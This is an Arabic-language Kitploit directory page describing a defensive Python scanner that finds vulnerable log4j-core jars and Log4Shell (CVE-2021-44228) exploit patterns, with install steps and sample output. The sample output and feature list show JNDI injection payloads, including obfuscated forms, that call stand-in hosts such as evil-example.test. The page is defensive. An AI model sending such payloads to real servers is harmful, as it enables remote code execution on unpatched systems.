Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4shell-scanner — ماسح خفيف الوزن يكتشف إصدارات Log4j الضعيفة ومؤشرات Log4Shell (CVE-2021-44228) في شجرة نظام الملفات. | Kitploit
أدوات/GitHubGitHub/arpitgupta369/log4shell-scanner
أدوات دفاعيةماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةأمن سلسلة التوريدالتعلم والتعليمتحليل السجلات
GitHubarpitgupta369/log4shell-scanner

log4shell-scanner

ماسح خفيف الوزن يكتشف إصدارات Log4j الضعيفة ومؤشرات Log4Shell (CVE-2021-44228) في شجرة نظام الملفات.

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

log4shell-scanner

أداة مسح دفاعية لا تعتمد على أي تبعيات خاصة بـ Log4Shell — تكتشف ملفات jar لـ log4j-core الضعيفة وأنماط استغلال JNDI في السجلات وملفات التهيئة.

لماذا هذا المشروع

خلال فترة عملي في CERT-In، عملت على تحديد التهديدات، واحتوائها، ومعالجتها، والبحث عنها — وهو نفس سير العمل الذي تطلبه Log4Shell (CVE-2021-44228) على نطاق واسع في ديسمبر 2021: العثور على كل نسخة ضعيفة من log4j-core عبر المنظومة، والبحث في السجلات عن محاولات استغلال ${jndi:...}. يعيد هذا الماسح الضوئي بناء سير العمل الدفاعي هذا في نص برمجي واحد محمول باستخدام مكتبة Python القياسية، ولا يحتاج إلى تثبيت أي شيء على المضيف الذي يفحصه.

الميزات

  • اكتشاف الأرشيفات — يتجول في شجرة الدلائل بحثًا عن ملفات .jar / .war / .ear.
  • كشف الإصدار الموثوق — يقرأ pom.properties و MANIFEST.MF من داخل كل أرشيف باستخدام zipfile، ويعود إلى اسم الملف كحل احتياطي؛ ويميز log4j-core الحقيقي عن ملفات jar غير المرتبطة.
  • الإبلاغ عن الثغرات عبر عائلة Log4Shell:
    • CVE-2021-44228 (تنفيذ تعليمات برمجية عن بُعد — RCE) — log4j-core 2.0-beta9 … 2.14.1
    • CVE-2021-45046 (إصلاح غير كامل) — حتى 2.15.0
    • CVE-2021-45105 (تعطيل الخدمة — DoS) — حتى 2.16.0
  • البحث عن أنماط الاستغلال — يبحث في السجلات/التهيئة/المصدر عن ${jndi:ldap:// وعمليات الإخفاء الشائعة (${${lower:j}ndi:…}، و j}ndi: بفصل الأقواس، و ${::-j}).
  • إصلاح قابل للتنفيذ — الترقية إلى 2.17.1+، أو إزالة الفئة JndiLookup.class، بالإضافة إلى إرشادات مراقبة الحركة الصادرة.
  • شجرة عينات مرفقة تحتوي على ملف log4j-core-2.14.1.jar ضعيف مزيف (zip حقيقي يحتوي على pom.properties لـ log4j-core)، وملف 2.17.1.jar مصحح، وملف jar غير مرتبط، وسجل يحتوي على حمولات JNDI.
  • --demo — ينشئ شجرة العينات ويمسحها ضوئيًا من البداية إلى النهاية.
  • مكتبة Python القياسية فقط (os، re، zipfile). لا تبعيات.

التقنيات المستخدمة

Python 3 (مكتبة قياسية فقط: argparse، os، re، zipfile).

التنصيب

root@kitploit:~
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version   # Python 3.8+
# لا توجد تبعيات لتثبيتها

الاستخدام

شغّل العرض التوضيحي على شجرة العينات المرفقة:

root@kitploit:~
python log4shell_scan.py --demo

المخرجات المتوقعة (مختصرة):

root@kitploit:~
--- Archives (log4j-core detection) ---
  [ok]         .../commons-lang3-3.12.0.jar
        version: unknown   (via no log4j-core detected)
  [VULNERABLE] .../log4j-core-2.14.1.jar
        version: 2.14.1   (via pom.properties (...))
        !! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
        !! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
        !! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
  [ok]         .../log4j-core-2.17.1.jar
        version: 2.17.1   (via pom.properties (...))

--- Exploit-pattern matches (JNDI payloads in text/logs) ---
  [MATCH] .../access.log (2 hit(s))
        L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
        L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"

--- Summary ---
  Vulnerable archives:      1
  Files with JNDI patterns: 1

امسح أي دليل مرخص لك بتقييمه:

root@kitploit:~
python log4shell_scan.py /path/to/deployed/app

رمز خروج العملية هو 1 عند العثور على أي شيء ضعيف أو مشبوه، و 0 عند نظافته — مناسب للبوابات (CI/pipeline).

أعد بناء شجرة العينات في أي وقت:

root@kitploit:~
python log4shell_scan.py --build-samples

هيكل المشروع

root@kitploit:~
log4shell-scanner/
├── log4shell_scan.py      # الماسح الضوئي + منشئ شجرة العينات + واجهة السطر
├── samples/
│   └── app/
│       ├── libs/
│       │   ├── log4j-core-2.14.1.jar     # ملف jar ضعيف مزيف (zip حقيقي)
│       │   ├── log4j-core-2.17.1.jar     # ملف jar مصحح
│       │   └── commons-lang3-3.12.0.jar  # ملف jar غير مرتبط
│       ├── logs/
│       │   └── access.log                # يحتوي على حمولات JNDI
│       └── config.properties             # غير ضار (لا ينبغي أن يطابق)
├── README.md
├── LICENSE
└── .gitignore

إخلاء المسؤولية

للاستخدام التعليمي والدفاعي والمصرح به فقط. استخدمه فقط على الأنظمة والقطع التي لديك إذن بتقييمها. يقوم الماسح الضوئي بالقراءة ومطابقة الأنماط فقط — لا ينفذ أو يستغل أي شيء أبدًا. ملفات jar المجمعة في العينات هي عناصر نائبة مصنعة، وليست قطع أثرية حقيقية من Apache، وجميع أسماء المضيفين للحمولات تستخدم أسماء .test غير قابلة للتوجيه. تم توفير تعيينات الإصدارات إلى الثغرات (CVE) للتوجيه فقط؛ تحقق من النشرات الرسمية للثغرات والنشرات الأمنية من Apache Log4j.


بناها Arpit Gupta — LinkedIn · GitHub

تنزيل الأداة